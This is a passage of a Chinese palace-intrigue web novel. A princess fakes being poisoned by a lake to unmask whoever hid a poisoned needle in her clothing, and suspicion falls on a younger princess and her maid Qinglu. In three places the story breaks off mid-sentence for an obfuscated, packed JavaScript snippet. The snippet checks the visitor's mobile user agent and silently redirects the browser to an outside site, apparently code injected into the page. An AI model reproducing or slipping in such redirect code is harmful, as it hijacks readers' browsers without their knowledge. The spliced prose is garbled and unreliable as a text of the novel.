只有为首的白衣青年强作镇定,瞪着一双牛眼看向胥毓:“回公主,我们……在讨论课业。” “是吗?”胥毓说话的声音柔柔的。 正当几人误以为她就是个软柿子,心里悄悄松了口气的时候,却不想眼前佳人突然抬手,随后只听“啪”地一声脆响,那青年脸上便顿时多了个红印。 全场哗然。 “你——”青年捂着脸,眼中满是不可置信。 “我什么?”胥毓冷笑,"真当本公主没有听见吗?对皇室不敬,按律当斩,念在初犯,便磕三个响头吧,这样本公主高兴了,说不定还能放你一马。" 但那青年听闻此言涨红了脸,非但没有逃过一劫的庆幸,反而是一脸难以忍受地屈辱。 “你敢让我磕头!我父亲可是兵部侍郎!” “哦?”胥毓挑眉,她故意拖长声调,“兵部侍郎呀,好大的官呀!原来兵部侍郎的儿子就能藐视皇权了?莫不是……有谋反之心?” 这话太重,嚣张的青年顿时面如土色,然后“扑通”一声跪了下来。 可还不等他磕头,一旁的胥阳丹却看不惯的大步走来,他脸色阴沉:“荣安,适可而止。” 胥毓不卑不亢:“大皇兄此言何意,莫不是要包庇这对皇室不敬之人?还是说,他今日的冒犯之言,实则乃是大皇兄的授意?” 这么喜欢出风头,刚才这些人讥讽自己的声音那么大,怎么不见他出来替自己这个妹妹说两句。 现在她不依靠旁人,自己为自己讨回公道,他倒是要窜出来当好人了。 可惜在她胥毓这儿,好人可没有那么好当。 胥阳丹见胥毓连自己的面子也丝毫不给,眼中怒火骤起,抬手就要发作,“你休要胡言乱语,本宫怎么可能——” “太子哥哥!” 但胥嘉却是快步走到太子身边,然后轻轻按住了他的手臂。 根据云溪所说的画本子来看,胥阳丹因为童年不幸脾气暴戾阴晴不定,而胥嘉则是在万千宠爱下长大的小太阳。 两人相辅相成,每次太子控制不住自己的脾气,都是胥嘉这朵解语花及时制止住了他。 现在看来,这画本子诚不欺她! 胥毓饶有兴趣的看着二人,只见胥嘉贴近太子耳畔,在他耳边低语几句。 随后太子的表情便从暴怒到震惊,最后竟诡异地平静下来。 这俩人说了些什么呢? 胥毓猜不到,她只知道必然是没憋啥好屁。 而胥嘉同太子耳语完后,倏而又转向胥毓,笑容温婉的道:“荣安公主今日这身衣裳真好看。” 胥毓瞳孔微缩。 胥嘉这话说得突兀,但却让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013253|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她瞬间排除了对方的嫌疑,毕竟以胥嘉的城府,若真是她下的毒,可绝不会在这样的情形下主动提起这身衣服。 否则倘若东窗事发,第一个遭殃的必然是她。 好歹也是个原书女主,还不至于蠢到这么个地步。 正思索间,一旁目睹了全过程的邰玉轩收拾好靶场后径直走了过来。 他先扫了眼胥毓发红的手掌,才目光不善地望向跪在地上发抖的青年,冷声说道:“连最基本的为臣之道都不清楚,这书读了也是白读,回家反省三个月,想清楚了再让你父亲送你来。” 跪在地上的青年听罢愣住了,周围看热闹的人也都愣住了。 既是因为谁都没想到看似温润的邰将军竟会这么干脆地赶人,也是因为崇文馆除了是供贵族子弟学习的场所以外,也是各方势力考察官宦子弟品行学识的地方。 所以若是直接被赶回家去了的话,自己丢脸不说,只怕是日后还会连累家族。 那青年自然也是想到了这点,所以心头一惊,顿时懊悔不已。 他赶忙趴在地上朝着邰玉轩磕头,“邰将军饶命!邰将军饶命!学生再也不敢了,求你别赶我走!” 或许是邰玉轩不为所动的样子让他崩溃,所以他忽而又转身朝着胥毓的方向开始磕头,“荣安公主,我错了,求您原谅我吧,别赶我离开崇文馆!” 大家都愣住,胥毓自然也随大流的怔住了。 她看了看地上狼狈的青年,然后又不由自主地看向邰玉轩的侧脸。 可对方却像没看见她似的,径直走向靶场中央:“今日练习基础姿势,两人一组。” 既没搭理胥毓,也没给胥毓搭理地上那一坨的机会。 虽然也算是为胥毓解决了个拉仇恨的小麻烦,但是有必要拽成那个样子吗?别以为她不知道,这小子是学得她今早进学堂的时候没搭理他的神情! 面上装得云淡风轻,没想到是这么小肚鸡肠的一个男人! 刚巧,她也不是什么大气的女人。 所以接下来的课业,胥毓一直故意表现得笨手笨脚,惹得邰玉轩不得不一次次过来纠正她的姿势。 “手腕再抬高些。”他低哑的声音响在耳侧。 修长的手指偶尔碰到她的手腕,又像被烫到似的迅速缩回。 胥毓假装没听清,往后靠了靠:“什么?” 邰玉轩的呼吸明显乱了。 在连续五次纠正胥毓的同一个动作后,他终于绷不住了:“臣突然想起还有军务要处理,公主先自行练习到下课吧。” 他说完便步伐慌乱地匆匆离去。 胥毓看着他逃也似的背影,没忍住“咯咯”笑出声,让他和自己较劲,小时候斗不过她,大了也注定是她的手下败将! 可是笑过以后,她又顿觉索然无味。 扔下手里的箭矢,她独自走到一旁的石凳上坐下,远处守望着的褚奎沉默地来到她的身后。 “你可觉得我今日太张扬了?”胥毓把玩着裙上的系带。 褚奎低声道:“公主今日只怕树敌不少。” 胥毓轻笑,没有接话。 她明白,褚奎与她想的不同,说了他也未必明白。 疏影横斜,碎金般的日色拂过她半掩的侧颜,为其轮廓描上一层朦胧的光晕,却始终映不亮那双深不见底的眸子。 胥毓始终觉得,深宫之中,不争,便只能沦为他人足下之泥。 21. 太液池中毒事件 下午的课是书法课,崇文馆的周夫子向来讲究书画同源,所以在教授书法时,常常穿插进一些绘画课程。 而今日赶巧,崇文馆的太液池中新开了些荷花,所以下午的课程便敲定为了池畔画荷。 来到太液池畔,只见池水边的垂柳枝条枯黄,在寒风中轻轻摇曳。 湖面上结了一层薄冰,唯有靠近岸边的水域被宫人凿开,露出其下墨绿色的湖水。 在这片被打理出来的水域里,几株罕见的冬荷在冰水交界处绽放,胭脂红的花瓣上还凝着细碎的冰晶,在午后的阳光下折射出璀璨的光芒。 “此荷名为‘雪里红’,乃是南疆进贡的珍品。”周夫子捋着花白的胡须,指着湖心的荷花说道,“传说前朝有位将军远征南疆,其妻日日站在湖边眺望。将军战死后,妻子投湖殉情,来年湖中便开出了这种不畏严寒的荷花。” “这故事真感人!” “谁说不是?说不定这花就是那位将军夫人的魂魄变的,她的爱让她变成了花仙子,然后生生世世等着她的爱人来找她!” 几位感性的小姐说至兴起,纷纷捏着手帕擦起泪花。 胥毓站在人群边缘,望着那几株在寒风中摇曳的荷花若有所思。 荷花的花瓣红得刺目,像是真的浸染了鲜血一般,可花是好花,那个所谓的传说却是俗不可耐。 但还不等她深思,一旁的周夫子却忽然朝她发问:“荣安公主还是第一次上老夫的课,不知可有何感想?” “花好看,故事也感人至深。”胥毓收回思绪,淡淡道,“只是尚有一惑,既然这将军已死,那妻子为何不活下去替他报仇,反倒要殉情呢?” 周夫子一怔,随即笑道:“荣安公主有所不知,这正体现了女子对夫君的忠贞之情呀!” 胥毓不置可否地挑了挑眉。 狗屁的忠贞之情,若换作是她,定会提着刀杀去南疆,让仇人血债血偿。 “请诸位开始作画吧。”但周夫子见气氛不对,已经转移话题。 胥毓也没再纠结这么个小插曲,可谁知她刚提起笔,却忽听人群中爆发出一阵惊呼。 “并蒂莲!快看,是并蒂莲!” 众人听罢纷纷朝着池畔围拢过去。 胥毓本不想凑这个热闹,但见几位公主都往那边走,就剩她一个人站在原地实在有些突兀,所以便也跟了上去。 湖岸边挤满了人,她不得不踮起脚尖才能看清,在离岸三尺远的冰面上,确实有一朵罕见的并蒂莲,那两朵红花共用一个茎干,在薄冰的映衬下格外娇艳。 “真漂亮!”胥昭云小声感叹。 胥毓站在她的旁边,正要附和,谁知后背突然传来一股大力。 有人推了她! 她猝不及防,加之那人力道极大,所以整个人便抑制不住地向前扑去。 但她也不是什么好脾气的人,没理由就这么平白叫人给害了去,所以在落水的瞬间,她迅速反手一抓,死死拽住了推她之人的衣袖。 “噗通!” 冰面碎裂的声音伴随着两声惊叫。 刺骨的湖水瞬间淹没了胥毓的口鼻,冰冷的触感像千万根钢针扎进皮肤,她在水中睁开眼睛,模糊地看到胥锦婳那张惊恐万状的脸。 竟然是她! 对方似乎没料到自己会被拽下水,此刻正疯狂地扑腾着,头上的珠钗在池水里散作一团。 “救命啊!公主落水了!”岸上一片混乱。 胥毓会水,三两下就游到冰窟边缘,然后双手一撑爬上了岸。 倒是胥锦婳还在水中扑腾,她妆容花得像个女鬼,见胥毓竟然平安上岸,才发现池水不深,所以也有样学样的开始朝着岸边扑腾。 可趴在岸边的胥毓可没那么好心给害了自己的人当模版,所以眼见着胥锦婳离得越来越近,她一个俯身,便在胥锦婳即将爬上来时,抬脚又将她踹进水里。 “下去吧你!” “啊——咕噜咕噜,咕噜咕噜……” 胥锦婳重新跌回水中,来不及尖叫,便被接踵而至的冰泥水灌了满嘴。 这时褚奎和琴夏才匆匆赶来。 因为上课的时候丫鬟侍卫一律不能带进学堂,所以二人方才都被安排在了十丈开外的地方。 眼下见他二人行至跟前,胥毓立马朝着褚奎使了个眼色,褚奎会意,趁琴夏给她披上大氅时,悄无声息地将毒针扎进了她的衣襟。 “唔……”胥毓闷哼一声,嘴角溢出一缕鲜血,随后整个人便软软地倒了下去。 “公主中毒了!”褚奎装出一副惊慌失措的样子,正要抱起胥毓,一道靛青色的身影却如疾风般冲了过来。 “让开!” 邰玉轩不知是从何处赶来,看见胥毓的模样,脸色顿时惨白如纸。 他一把推开褚奎,然后将胥毓打横抱起。 胥毓替换的毒药药效极强,此刻的意识已经开始模糊,但却仍能感觉到抱着她的手臂在微微发抖。 “坚持住!”邰玉轩的声音沙哑得不成样子,“太医马上就到!” 胥毓唇齿微启,却只呕出一口血来,染红了邰玉轩的素色衣襟。 褚奎凝望邰玉轩环抱胥毓渐行渐远的背影,眸色沉若寒潭。 他缓缓摊开手掌,那根毒针还捏在他的指间,针尖上沾着一点暗红色的血迹。 “真的是有缘无分吗?”他低声自语,想起胥毓说这话时故作平静的表情。 湖面上的冰窟渐渐重新结冰,那株并蒂莲不知何时已零落成,残瓣浮沉水面,猩红欲灼人目。 …… 暮色如墨,渐渐浸染了崇文馆的窗棂。 胥毓被安置在偏殿的暖阁里,锦被下的身躯单薄得几乎看不出起伏,邰玉轩立在床侧,烛火在他轮廓分明的脸上投下摇曳的阴影,将那双紧蹙的眉宇勾勒得愈发深邃。 “将军,请让一让。”得到消息急匆匆赶来的老太医颤巍巍地拱手。 邰玉轩这才如梦初醒,慌忙地退开半步,但目光却仍死死锁在胥毓苍白的脸上。 老太医枯瘦的手指搭上胥毓的腕脉,半晌后突然一颤,山羊胡须抖得厉害。 “如何?”邰玉轩声音沙哑。 老太医收回手,额上渗出细密汗珠:“回将军,公主这是……中毒之症。” “什么毒?” “老朽行医五十载,从未见过如此凶险的毒性。”老太医掏出手帕擦汗,“脉象沉微,毒已入髓,怕是……怕是……” 邰玉轩心头一紧,“说!” “怕是无力回天了呀!” 听闻这荣安公主是下午的时候才中的毒,按理来讲,不该这么快就到了如此严苛的地步。 可他观其脉,又确实是毒入骨髓。 他如今双鬓斑白,已在宫闱之中辗转伺候了几十年的贵人,所以对于这种现象,也算得上是司空见惯。 就荣安公主现下的状况而言,他可以百分百推断,绝对是有人蓄意谋害。 可在其位,谋其职,他不过是个小小太医,医治好病患才是他的分内之事。 至于这些个贵人之间的龌龊争斗,他却是不敢沾染上半分。 “胡说八道!”而邰玉轩听他说完,立马一把揪住了他的衣襟,“方才还好好的,怎么可能这么快就无力回天!” 晌午的时候还活蹦乱跳的在自己跟前捉弄人,这不过半日功夫,一个大活人就要这么死在自己的面前。 这任谁也接受不了。 老太医被邰玉轩的模样吓得面如土色:“将军明鉴!老朽不敢妄言啊!” 邰玉轩松开手,胸膛剧烈起伏。 他也是急昏头了,为难这么个太医能有什么用,一个治不好,再找别人也就是了。 平白的把时间浪费在发脾气上,既不能解毒,也不能救人。 那才是真正的耽误时间。 所以他当即转向门外侍卫,声音冷得像淬了冰:“去太医院,把所有当值的太医都叫来。崇文馆即刻封锁,在找出凶手前,一只苍蝇也不许放出去!” 侍卫领命而去,不多时,外面传来嘈杂的争执声。 “邰玉轩!你好大的胆子!”胥阳丹一脚踹开房门,蟒袍下摆沾着未干的湖水,“竟敢将本宫与诸位皇子公主囚禁于此!” 虽然胥毓中毒之事兹事体大,可他堂堂太子,怎么能和那些个官宦子弟一样,被囚禁在这小小书院。 此事若是传扬了出去,叫他这张老脸往哪里搁? 可邰玉轩听罢头都没回,仍旧纹丝不动地站在床前,他身形如松,站得般笔直。 “太子殿下稍安勿躁,臣奉旨教授诸位武艺,也当得起诸位的一句老师。如今荣安公主在臣的眼皮子底下中毒,作为老师,自当彻查此事,给殿下,给公主,给皇上,也给天下百姓一个交代。” “你——” “太子哥哥。”胥阳丹还要发作,可胥嘉立马轻轻拉住他的衣袖,指尖在他腕间不着痕迹地摩挲了两下,“荣安公主性命攸关,邰将军也是职责所在,咱们就稍稍等上一等吧。” 太子阴沉着脸,却在胥嘉的注视下渐渐平息怒气。 他又看了邰玉轩以及床上的胥毓一眼,终究是甩了甩衣袖,心怀怨气的背过身去。 而胥嘉拍了拍他的脊背,算作安慰,然后便转向邰玉轩,温声道:“将军尽管查,我等自当配合。” 她说着目光扫过床榻,眼底闪过一丝困惑。 这毒不是她下的,会是谁出的手呢? “大皇姐这是怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020241|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么了,方才不还好好的吗?” 胥华荣方才没在,不知这里究竟发生了什么,只听说好像是胥毓出了事。 眼下他踱步走进室内,探头看了眼胥毓灰败的脸色,便立马颤抖着噤了声。 娘耶!要不是没看见哭丧的仪仗,就胥毓眼下这脸色,就算说她死了三天他也是信得呀! 阿弥陀佛,他胆子小,还是别往前走了。 不然待会儿大皇姐要是走得不安生,把他也一块带走了可咋整,所以他刚一进去,立马又蹑手蹑脚地退了出去。 胥建柏倚在门框上,见状没忍住笑出了声,他揉了揉鼻子懒洋洋道:“要我说,定是那朵并蒂莲不吉利。” 毕竟好好地荷花,白的粉的都不赖,偏巧就这品种,开得了个白中缀红的模样。 这不明摆着的血光之灾吗! 一群人你一言我一语的,又就这这并蒂莲说了起来,房间本就不大,如今一群人记在这里说话,就更加吵嚷。 所以邰玉轩眉头一蹙,突然说道,“都出去,荣安公主需要静养。” 但不能离开崇文馆依旧够让人憋屈了,眼下却是多说几句话也要被束缚着,众人如何能依。 所以立马便又有人想要争辩,但还不等他们开口,门外突然传来太监尖细的唱喏:“皇上驾到——” 所有人慌忙跪地。 皇帝大步踏入,龙袍下摆带起一阵寒风,他径直走到床前,在看到胥毓的瞬间,身形晃了晃。 “毓儿?” 没有回应,胥毓的呼吸微弱得几乎看不见胸膛起伏,唇边还凝着一点暗红的血渍。 皇帝颤抖着手抚上她的额头,声音哑得不成样子:“朕……朕没有保护好你呀!” 殿内一片死寂,谁都没有料到皇帝竟然会亲自前来。 胥阳丹心头更加不适,他是太子,是父皇的嫡长子,可从前大病小病,不论他变成什么样,这个男人都从来没特地跑来看过自己。 就连自己的皇太子之位,一开始他也并不看好,若非是沈家把持的言官一派坚持立嫡立长,恐怕他今日还蜷缩在某个不知名的角落里。 胥阳丹心里憋着气,偷偷抬眼,正看见一滴泪从皇帝眼角滑落,没入龙袍的刺绣中消失不见。 他心头再次一震,父皇竟为这个野丫头落泪! 她凭什么! “父皇。”胥阳丹没忍住膝行上前,“儿臣等实在不知大皇妹为何中毒,可否——” “闭嘴!”可还不等他说完,皇帝便猛地转身,他的眼中怒火灼人,“可否如何?让你们走?你们一个个安然无恙,唯独毓儿躺在这是为何?现在还想着一走了之?” 胥锦婳本就心虚,眼下更是吓得哭出声来:“父皇明鉴!儿臣也落水了,儿臣……” “都给朕待在这!”但皇帝厉声打断,他根本不听,“邰玉轩!” “臣在。” “朕命你全力救治荣安,太医院随你调遣,若她有个三长两短……”皇帝目光扫过跪了一地的儿女,每个字都像从牙缝里挤出来的,"今日在场之人一个都别想好过!" 众人悚然。 胥嘉垂着头,指甲深深掐进掌心,这件事情完全脱离了她的掌控。 夜深了,崇文馆灯火通明。 太医院院首带着十多名太医轮番诊脉,最终研究出了一份药方,虽不能根除毒素,但好歹可以暂缓其蔓延,为众人多赢得几日思考的时间。 烛火在鎏金烛台上摇曳,将暖阁内的一切都镀上一层昏黄的光晕。 胥毓静静地躺在床榻上,脸色苍白如纸,唯有唇边那抹不断浸出的暗红色血迹触目惊心。 邰玉轩坐在床边,手中捧着一碗黑褐色的汤药,药汁早已凉透,却始终喂不进她紧闭的唇间。 “阿柳……”邰玉轩的声音沙哑得不成样子,指尖轻轻抚过她冰凉的脸颊,“你醒一醒,好吗?” 窗外寒风呜咽,吹得窗棂微微颤动。 一滴泪无声地滑落,坠入药碗中,荡起细小的涟漪。 “当年不告而别,是我错了……”他低声道,喉结滚动,“我不该瞻前顾后想那么多还没发生的事情,不该将你一个人留在丹骆村,其实我也想你,想你的笑,你的泪,你的喜怒哀乐,你的一切。” 烛火忽明忽暗,在他轮廓分明的脸上投下深深浅浅的阴影。 “所以你醒过来好不好,只要你醒过来,我再也不对你说那些违心的话。”他的手指轻轻描摹着她的眉眼,仿佛要将这张脸刻进骨血里,“你想怎样都可以,我都听你的,阿柳……醒过来好不好,只要你醒过来,我——” “吱呀”一声轻响,打断了邰玉轩沉醉地倾诉。 他猛地抬头,正对上褚奎翻窗而入时震惊的目光。 22. 关心 “邰将军?” 褚奎慌乱地坐在窗沿上,手中紧握着一个青瓷小瓶,一时间进也不是出也不是,于是只好硬着头皮说道:“属下……来看看公主可好些了。” 翻窗来看?当自己是傻的? 邰玉轩眯起眼睛,一双寒眸落在褚奎脸上:“深更半夜,你一个侍卫未经传召,擅闯公主寝居?” 褚奎喉结滚动,下意识将小瓶往袖中藏了藏:“属下只是担心公主……” 担心到大半夜的,一个人偷偷摸摸翻窗来看,还穿的是一身夜行衣! 邰玉轩周身杀气骤现,冷声道:“出去。” 可褚奎站着没动,目光甚至还越过邰玉轩,落在胥毓栖身的床榻上。 邰玉轩身上的杀气越来越浓。 他早在回皇城的路上就觉得此人身上有诸多疑点,只是之前一直碍于胥毓看重于他,且他自身也并未表现出什么不妥,所以才勉强放他一马。 可今日他夜闯胥毓房间,还穿得这样奇怪,若是不能拿出个合理的解释,那就算是胥毓求情,他也绝不会再留此人在她身边。 而就在两人僵持之际,床上突然传来一声微弱的咳嗽。 “咳咳……褚奎……解药……” 邰玉轩猛地转身,只见胥毓不知何时已经睁开了眼睛,正虚弱地朝褚奎伸出手。 “公主!”褚奎终于是翻窗落地,箭步朝着胥毓走去,但临近床榻,还没来得及靠近,却又被邰玉轩一把扣住手腕。 “什么解药?”邰玉轩的声音冷得像冰,“你们在玩什么把戏?” 胥毓撑起身子,唇边勾起一抹苍白的笑:“把药给我吧,不用瞒他。” 关键现在这架势想瞒也瞒不住了,毕竟她也没想到,中毒以后,一直守在自己床边的竟然会是邰玉轩。 褚奎犹豫片刻,终是将青瓷小瓶递了过去。 胥毓接过药瓶,仰头将里面的药丸吞下,动作干脆利落,哪有半分垂死之人的模样? “去门口守着。”服过药后,她朝褚奎摆了摆手,又指了指桌上早已凉透了的药碗,“顺便把这个倒了。” 褚奎端起药碗,还有些犹豫,直到胥毓又说了句“先出去”,他才深深看了邰玉轩一眼,默默退了出去。 邰玉轩站在原地,脸上的表情从震惊到愤怒,最后化为一片冰冷:“解释。” 胥毓掀开锦被下床,赤足踩在冰凉的地砖上:“今日在来崇文馆以前,我发现有人在我新衣的衣领里藏了毒针。” “这我知道。”邰玉轩咬牙,“太医说这毒毒性极强,虽中毒不久,但你已经毒已入髓。” 可是为什么她早知有毒还会中毒,又怎么会提前便备好了解药? 邰玉轩的心里有个猜测,但是他更想听胥毓亲口告诉他答案。 “那是我让褚奎下的另一种毒。”胥毓走到窗前,月光为她单薄的身形镀上一层银边,“真正的下毒之人用的虽然也是要人命的毒药,可见效却不会如此之快。敌在暗我在明,我不想再如此被动,故将上边儿的毒药替换,好将计就计,打对方一个措手不及。” 此招虽险,胜算却大,她如今在皇宫之中孤掌难鸣,这已经是她所能做的最大努力。 但邰玉轩一把扣住她的手腕,力道大得几乎要捏碎她的骨头:“那你有没有想过若是褚奎的解药晚来一步会如何?那是真正的毒药,不是儿戏,你如何能用自己的身体来做赌注?” “我计算过时辰。”胥毓平静地注视着他,“况且,我从小跟着师父尝遍百草,这点毒奈何不了我。” “胡闹!”邰玉轩猛地将她拉近,眼中怒火灼人,“你这是在拿自己的命赌!” 她难道就没有想过,若是出现什么意外,她是真的会丢了性命。 还是说她不是没想过,而是根本就不在乎? 她根本就不在乎自己是不是会死? 可是,他在乎啊! 他就不该送她回皇宫的,那是个吃人不吐骨头的炼狱,她不该折损在里面。 可现在说这些已经晚了,开弓没有回头箭,他们都不得不循着自己选好的路继续往前走。 只是幸好,他们所走的路并非殊途。 所以往后,他绝不会再让她置于险地,他要跟再她的身后,以此命,护她安! 但邰玉轩所想,此刻的胥毓却一无所知。 她听邰玉轩说完后,突然笑了,笑容里带着几分狡黠。 “不这样,怎么能逼出幕后之人?”她轻轻挣开邰玉轩的手,“那人既然敢在御赐之物上下毒,必是笃定我不敢声张,而我却偏要闹得人尽皆知,看她慌不慌……” 但话音未落,门外突然传来褚奎刻意提高的声音:“谁在那里?!” 随后便是褚奎佯装被支走的脚步声。 胥毓早就预料到下毒之人会来,所以事先便和褚奎计划好了这一出。 此刻她眼中精光一闪,迅速躺回床上,然后朝邰玉轩使了个眼色。 邰玉轩会意,也跟着闪身躲入床帏后的阴影中。 烛火摇曳,将暖阁内的床帏映得影影绰绰。 邰玉轩屏息凝神地藏在厚重的帷帐后,透过缝隙紧盯着房门,窗外冷风渐起,呼啸的风声掩盖了细微的动静。 随着“吱呀”一声轻响,门被轻轻推开一条缝,一颗梳着双丫髻的脑袋先探了进来。 竟是胥弦月! 胥弦月那双圆溜溜的眼睛滴溜溜转了一圈,确认屋内除了胥毓没有旁人后,才蹑手蹑脚地溜了进来。 她反手关上门,还不放心地又打开确认了一遍外面走廊,这才长舒一口气。 邰玉轩眯起眼睛,精神紧绷。 只见胥弦月解下背上竹筐,小心翼翼地掀开盖在上面的蓝布,露出里面的物件。 一个铁盆,一沓黄纸,一把香蜡,还有一个酒杯和一壶烈酒…… 邰玉轩心头一跳:这是要干什么? 但胥弦月很快就给了他答案。 她动作麻利地将铁盆放在地上,然后点燃香蜡找了个合适的位置放好,又给酒杯里倒上酒,便开始一张张地烧纸钱。 跳动的火光照亮那张还带着婴儿肥的脸,她眼角挂着未干的泪痕。 “大……大皇姐……”她声音发颤,一边烧纸一边碎碎念,“你别怪我……那针是我让人放的没错,可我、我真没想害死你啊!” 邰玉轩的手指无意识地攥紧了帷帐,床上的胥毓依旧闭着眼睛,但睫毛几不可察地颤了颤。 “我就是气不过……”胥弦月抹了把眼泪,“你一回来,父皇眼里就再没我们了……连母妃都说要我让着你……” 明明以前,除了胥嘉格外得宠外,她便是父皇最喜欢的公主了。 可是这个山野丫头的消息一传回皇城,她就很明显的感觉到,那个向来对所有子女都有些冷淡的父皇,仿佛一夜之间将所有的注意都放在了这个素未谋面的新姐姐身上。 凭什么呀!凭什么她甚至都还没有回来,就能如此轻易的夺走父皇的宠爱! 她越说越委屈,声音都带上了哭腔,“可我真的只让人放了些起疹子的药粉,绝对没有下毒!我也不知道你到底为什么会变成现在这样,我没想害死你的……所以你要报仇就去找真正下毒的人吧,千万别来找我……” 纸钱在铁盆里卷曲燃烧,腾起的青烟在屋内缭绕,胥弦月又从身上掏出个纸扎的小人,上面歪歪扭扭写着个“仆”字。 “我给你扎了个丫鬟,烧给你在下面用,现在不太方便,你先将就将就,等后边得空了我再给你多烧点房子仆人。”她哆哆嗦嗦地把纸人往火盆里送,“还有什么想要的,你、你托梦给我,我年年都给你烧,你要觉得孤单,我也可以再给你烧几个面首,你喜欢什么样的……” 但就在纸人即将碰到火焰的刹那,床上的胥毓突然睁开了眼睛。 “四皇妹可真是有心了。” 又是烧钱又是送丫鬟的,甚至还连伺候她的面首都考虑到了,这怎么能不算是贴心呢? “啊——” 但胥弦月尖叫一声,眼底全是对眼前人“死而复生”的惊恐,“你、你、你是人是鬼?不、不对!你没死!” 纸人掉进火盆,瞬间化为灰烬,她踉跄着后退,撞翻了铁盆,香灰撒了一地。 胥毓慢条斯理地坐起身,与从帷帐后走出的邰玉轩对视一眼,两人目光交汇的瞬间,邰玉轩已经一个箭步挡在了门前。 “看来我们捉到真凶了。”胥毓掀开锦被下床,赤足踩在冰凉的地砖上,一步步逼近胥弦月。 胥弦月脸色煞白,后背紧贴着墙壁:“你们设局害我!” “害你?”胥毓冷笑,“少往自己脸上贴金了,那衣领里的毒针不是你放的?” “我放的是痒痒粉!”胥弦月急得直跺脚,“清露说在你的衣服上放点痒痒粉,你是个土包子不识货,肯定以为是穿不了那个料子,到时候就既可以看你出丑又不会被发现,但谁知道这好端端的痒痒粉怎么突然就变成毒药了!” 她从小到大是娇蛮了些,谁让她不开心,她就要想办法给捉弄回来。 但这也仅限于小打小闹的捉弄,要她杀人,那可是万万不敢的! 但她突然后知后觉地反应过来,“等等……你说毒针?你的意思是有人调换了我的痒痒粉,然后换成了害你的毒针!” 邰玉轩沉声道:“荣安公主的衣领里夹带了一根针,现已确定上边儿确实含有剧毒,至于你说的痒痒粉,闻所未闻。” 胥弦月呆住了,圆脸上写满震惊:“这怎么可能……清露明明说了是让人起疹子的药……” “清露?”胥毓敏锐地抓住这个名字,“你的贴身丫鬟?” 她早就知道单凭胥弦月的这个脑子,怎么可能会做出下毒这种事情,所以引出胥弦月,不过是为了进一步揪出真正对自己出手之人。 胥弦月点了点头,“这个主意是清露出的,我派茯苓去动的手,茯苓原本才是我的贴身丫鬟,但后面来到我身边的清露还蛮聪明的,我就更喜欢她了……清露之前是在三皇姐屋子里当差的。” 胥毓同邰玉轩对视一眼,前者立马心领神会地朝门外喊道:“褚奎,去把四公主身边的茯苓带过来。” “是。” 听见门口突然出现的声音,胥弦月突然打了个寒颤。 人没走,她就说怎么可能来得这么轻松,他们果然是故意把自己骗过来的。 完了,完了,她真的要完蛋了!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16026099|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 等待的过程中,屋内一时寂静,除了胥弦月不停打鼓的心跳声,就只剩窗外风声呜咽。 不多时,褚奎就将人给抓了来,然后一把甩进屋子里。 “荣安公主,都是奴婢做的!都是奴婢,四公主是无辜的!” 茯苓一进门,头都没敢抬,就开始磕着头将罪责全揽到自己身上。 “那你且说说你做了什么。”胥毓没多问,只先让她自己说。 但茯苓却以为这是信了自己的话,所以立马滚豆子似的说道:“是奴婢狗胆包天,觉得您会分走四公主的宠爱,所以自作主张在皇上御赐的浮光云锦里涂抹了痒痒粉!都是奴婢一人所为,还请荣安公主责罚,莫要责怪四公主……” 她应当也是怕极了的,所以说着说着,眼泪便啪嗒啪嗒的掉在地上。 但她显然并不是动手的人,不然的话,怎么会连胥毓如今是中了毒,而非沾染了什么痒痒粉也全不知情。 胥毓看着跪在自己面前的丫头,没说话,眼神瞥向一旁发愣的胥弦月。 胥弦月接收到她的目光,打了个激灵,才回过神来扑到茯苓身上,“别藏着掩着,咱们被人做局了!大皇姐什么都知道,你快说那天究竟发生了什么?” 茯苓脸色大变,看胥弦月的模样不似作假,这才老老实实和盘托出。 “那日,奴婢备好东西正要去,谁知清露姐突然说我毛手毛脚指定做不好,便从奴婢手里把东西拿走了。” 自从清露来了四公主宫里,四公主就越发不喜自己,若是叫她知道这事自己又没办好,自己只怕是再无容身之地。 所以她私心作祟,便将此事给瞒了下来。 却不想此举,似乎又给四公主带来了更大的麻烦……茯苓偷偷瞄了一眼胥弦月,心中愧疚更甚。 “又是这清露。”胥毓看向胥弦月,“这丫鬟是打哪儿来的?” 胥弦月现在也后知后觉的反应过来,清露似乎有些问题:“是、是三皇姐去年送我的……” 她和胥锦婳一向交好,有什么吃的喝的玩的平日里都会分享。 所以有一次她说身边的丫鬟格外有趣,要送给自己,她便也就喜滋滋的将清露给带回了宫。 清露确实是个聪明讨喜的丫头,平日里记得自己所有的喜好,也惯是会察言观色帮自己讨父皇的欢心。 所以久而久之,一起长大的贴身丫鬟茯苓,都有些比不上这个半道来的茯苓了。 